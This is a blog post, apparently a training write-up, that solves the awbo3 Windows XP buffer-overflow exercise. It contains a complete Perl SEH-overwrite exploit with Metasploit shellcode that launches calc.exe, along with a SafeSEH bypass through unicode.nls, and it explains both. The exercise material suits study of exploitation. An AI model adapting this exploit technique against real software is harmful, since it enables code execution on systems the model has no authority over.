Sunday, July 3, 2011

Advanced Windows Buffer Overflows: awbo3, XP

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "\x90" x (1024 - length($shellcode));
$filler2 = "A" x (1084 - length($filler) - length($shellcode));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x0b\x0b\x27\x00"; # call dword ptr[ebp+30] from unicode.nls no safeseh, outside of loaded modules
$jmp = "\xe9\x70\xfe\xff\xff"; # jmp back 400 bytes

print $filler . $shellcode . $filler2 . $nseh . $seh . $jmp;

I need to think harder on this one. I was able to get calc.exe to execute, but an exception somewhere in the shellcode causes another calc.exe to launch, and so on...

The version above is heavily based on Corelan's stuff. They do a better job of explaining Windows XP SP2's SafeSEH protections and how to bypass them.

One of the SafeSEH bypasses is to use a address in a module that hasn't been loaded into the program. For example, unicode.nls is accessible in awbo3.exe's address space, but is not loaded into the program. More importantly, unicode.nls contains a "call dword ptr[ebp+30]" instruction--similar to a "pop, pop, ret" for placing the next SEH record into EIP.

The Next SEH record still contains a "jmp 06" instruction to get me over the rest of the record.

There isn't enough space after the SEH record to hold the shellcode. In addition, some funny corruption was happening in my tests in that area. Instead, I put a large NOP slide and the shellcode in the buffer, then placed a "jmp -400" after the SEH record to get there.

1 comment:

  1. Regarding the calc.exe fork bomb. I should of took notice of "# EXITFUNC=seh" in the shellcode. The shellcode exits by causing an exception, which causes my overwritten SEH record to be called again, which causes the shellcode to be called again, etc.

    ReplyDelete